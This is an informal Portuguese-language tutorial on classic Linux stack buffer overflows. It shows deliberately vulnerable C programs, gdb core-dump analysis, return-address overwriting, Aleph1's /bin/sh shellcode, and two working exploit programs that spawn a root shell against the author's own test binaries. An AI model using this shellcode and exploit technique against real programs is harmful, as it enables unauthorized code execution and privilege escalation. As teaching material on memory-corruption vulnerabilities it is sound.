|
Ooooh sako... Todo mundo
reclama q nao entende porra nenhuma dissu e que
todos os txts saum complicados e blablabla... Entao vo tentar ser bem
claro nessa porra de txt e aprendam logo pois issu ja pode ser considerado
uma t3kn33k antiga...
Nao vou me pegar muito a parte teorica pois issu que deve estar
atrapalhando vcs...ai vai as dikas da cyber9
Aki temos
um exemplo de buffer overflow...
(Use o extract.c da phrack para separar estes prgs)
<++>
buff/vuln.c
void lame (void) { char small[30]; gets (small); printf("%s\n",
small); }
main() { lame (); return 0; }
<-->
~# gcc -ggdb
-o vuln vuln.c
~# ./vuln
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)
~#
Agora vamos
ver esse core com o gdb...
~# gdb vuln
core
GNU gdb 4.17.0.4 with Linux/x86 hardware watchpoint and FPU support
Copyright 1998 Free Software Foundation, Inc.
BlaBlaBla...
Core was generated by `./vuln'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Reading symbols from /lib/ld-linux.so.2...done.
#0 0x41414141 in ?? ()
(gdb)
Prontu...
nem precisa do info registers....
Aqui voce ve onde acontece o segment fault...
Note a seguinte linha:
#0 0x41414141
in ?? ()
Ao vc entrar
com os A'z (0x41) no gets... Esses dados foram salvos alem
do buffer que tinha o tamanho de 30 bytes... Passando esse limite do
buffer nos encontramos o RETURN ADDRESS. Eh ae que acontece os sonhos...
=)
Quando gravamos esses A'z em cima do RETURN_ADDRESS ao invez da funcao
retornar ao ADDRESS original e o programa continuar a ser executado, ele
vai retornar ao novo ADDRESS (0x41414141) onde nao existe porra nenhuma...
Entao ocorre o Segment Fault...
O novo ADDRESS no nosso caso eh 0x41414141 pq nos gravamos AAAA em cima
do original e lembre-se que A eh 0x41 em hexa...
Entendeu
tudo issu??? Nao... leia dinovo entao.... C entendeu vamos
continuar...
Toda a brincadeira
comeca em saber onde direcionar o RETURN_ADDRESS.
Agora vamos ver como faremos para reescrever este RET_ADDR com um
endereco valido...
~# gdb vuln
GNU gdb 4.17.0.4 with Linux/x86 hardware watchpoint and FPU support
Copyright 1998 Free Software Foundation, Inc.
BlaBlaBla...
(gdb) disass main
Dump of assembler code for function main:
0x8048550 <main>: pushl %ebp
0x8048551 <main+1>: movl %esp,%ebp
0x8048553 <main+3>: subl $0x8,%esp
0x8048556 <main+6>: call 0x8048520 <lame>
0x804855b <main+11>: xorl %eax,%eax
0x804855d <main+13>: jmp 0x8048560 <main+16>
0x804855f <main+15>: nop
0x8048560 <main+16>: movl %ebp,%esp
0x8048562 <main+18>: popl %ebp
0x8048563 <main+19>: ret
End of assembler dump.
(gdb)
Veja a seguinte
linha:
0x8048556
<main+6>: call 0x8048520 <lame>
Note que
esta eh a linha do vuln.c onde chamamos a funcao lame. Entao
vamos pegar o endereco deste... 0x8048556. Nao seja burro, o addr varia
e
pode ser que ae no seu computador ele nao seja o mesmo...
Vamos escrever o exploit entao...
<++>
buff/ret.c
main()
{
int i=0; char buf[44];
for (i=0;i<=40;i+=4)
*(long *) &buf[i] = 0x8048556; // Substitua aki o addr
puts(buf);
}
<-->
~# gcc ret.c
-o ret
~# (./ret;cat) | ./vuln
VVVVVVVVVVVôüÿ¿¹×@È£
teste (digite aki)
teste
teste (digite aki)
~#
Aha!!! Como
mudamos o RET_ADDR para o endereco onde a funcao lame eh
chamada, repetimos-a. Este eh um exploit nocivo feito apenas para mostrar
como reescrever o RET_ADDR.
Se quizermos
algo mais proveitoso o que devemos fazer eh o seguinte...
Voce c lembra dakelas shellcodes que todos os exploits de buffer overwrite
tem??? Pois eh... Vamos ver onde ele entra aki...
Nao vo ensinar
como criar suas shellcodes pois issu vai nos tirar do
plano central deste texto...
A shellcode eh salva em um buffer do exploit. Entao o que devemos fazer
eh direcionar o RETURN_ADDRESS para o inicio da shellcode. ahhhhh!!!
Vamos usar o famoso shellcode do aleph1 para nosso exemplo de exploit:
char shellcode[]
=
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
Lembram???
Agora diretamente do txt do aleph1 vamos a um prog de exploita um buffer
overflow nele mesmo... (Leia os comentarios)
<++> buff/xploit1.c
char shellcode[]
=
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
char large_string[128];
void main()
{
int i;
long *long_ptr = (long *) large_string;
// Aki esta o buffer vulneravel...
char buffer[96];
// Aki vamos copiar o ADDRESS do buffer[] para esta variavel.
for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) buffer;
// Aki copiamos o shellcode para a mesma variavel, soh que ocupando o
// inicio dela... Fikara algo assim:
//
// SHELCODE+ENDERECO_DO_BUFFER
//
for (i = 0; i < strlen(shellcode); i++)
large_string[i] = shellcode[i];
// Aki esta o buffer overflow...
strcpy(buffer,large_string);
}
<-->
Compile,
execute e o programa sera exploitado. O RET_ADDR sera reescrito
para o endereco da string buffer[]. Como no inicio do buffer[] sera salvo
o shellcode entao este sera executado... Resultado: SHELL!!!
Bem... mas o que nos queremos eh exploitar o buffer em um outro programa
e nao no nosso... Entao o problema aki seria como pegar o RET_ADDR do
buffer de um outro programa...
Para simplificar mais as coisas, basta voce ter em maos o source do
programa (a maioria dos prg no linux sao opensource). Vamos a um exemplo:
<++>
buff/vuln2.c
void main(int
argc, char *argv[]) {
char buffer[96];
if (argc
> 1)
strcpy(buffer,argv[1]);
}
<-->
Ao encontrar
o buffer vulneravel (buffer[]), adicione a seguinte linha
no corpo do programa:
printf("0x%x\n",(int)
buffer);
Claro, mude
"buffer" pela variavel q vc encontrar (caso esteja tentando
escrever o exploit para outro programa). Compile e rode que vc tera retorno
o
endereco correto do buffer vulneravel. Deixe o programa assim ateh que
o xploit
funcione corretamente, pois pode ser que voce precise fazer mais de uma
mudanca
neste endereco.
~# pico vuln2.c
(modifique-o...)
~# gcc vuln2.c -o vuln2
~# ./vuln2
0xbffffcd8
~#
Blza!!! Ja temos o endereco, agora vamos fazer o exploit:
<++>
buff/xploit2.c
char shellcode[]
=
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
char large_string[128];
void main()
{
int i;
long *long_ptr = (long *) large_string;
for (i =
0; i < 32; i++)
*(long_ptr + i) = 0xbffffcd8; //Coloque aki o endereco do buffer vuln
for (i =
0; i < strlen(shellcode); i++)
large_string[i] = shellcode[i];
execl("./vuln2",
"vuln2", large_string, 0);
}
<-->
Okay... Eh
basicamente a mesma coisa do outro xploit que vimos porem aki
o endereco que sera reescrito no RET_ADDR mudou. Compile e rode:
~# gcc xploit2.c
-o xploit2
~# ./xploit2
0xbffffc18
Illegal Instruction (core dumped)
~#
Aha!!! Que
loko... o Endereco do buffer mudou.... sem problemas... vamus
muda-lo no exploit... Depois de fazer issu tente dinovo...
~# ./xploit2
0xbffffc18
sh-2.03#
Aeeeeeeeeeeeeee!!!!!!!!!
Agora nao tem essa de faze cu-doce e mudar di endereco... nois ti
pegamos!!!! h0h0h0h0h0h0h0!!! Buffer Exploited!!!!
Manero neh??? Voce criou seu primeiro exploit. Mesmo sendo para um prog
seu mesmo eu sei como eh a emocao pois ja passei por issu. Agora voce
ja
tem uma base de como esses doces funcionam e de como faze-los. Agora va
atraz de mais textos explicando issu para vc c aperfeicoar mais nessa
t3kn33k pois ja expliquei tudo o que achei necessario.
Aki vao alguns textos a serem consultados caso voce queira saber mais
sobre buffers overflows:
Criador: ASPEN
PARK
Grupo: Aspen
Park exploits S.A
|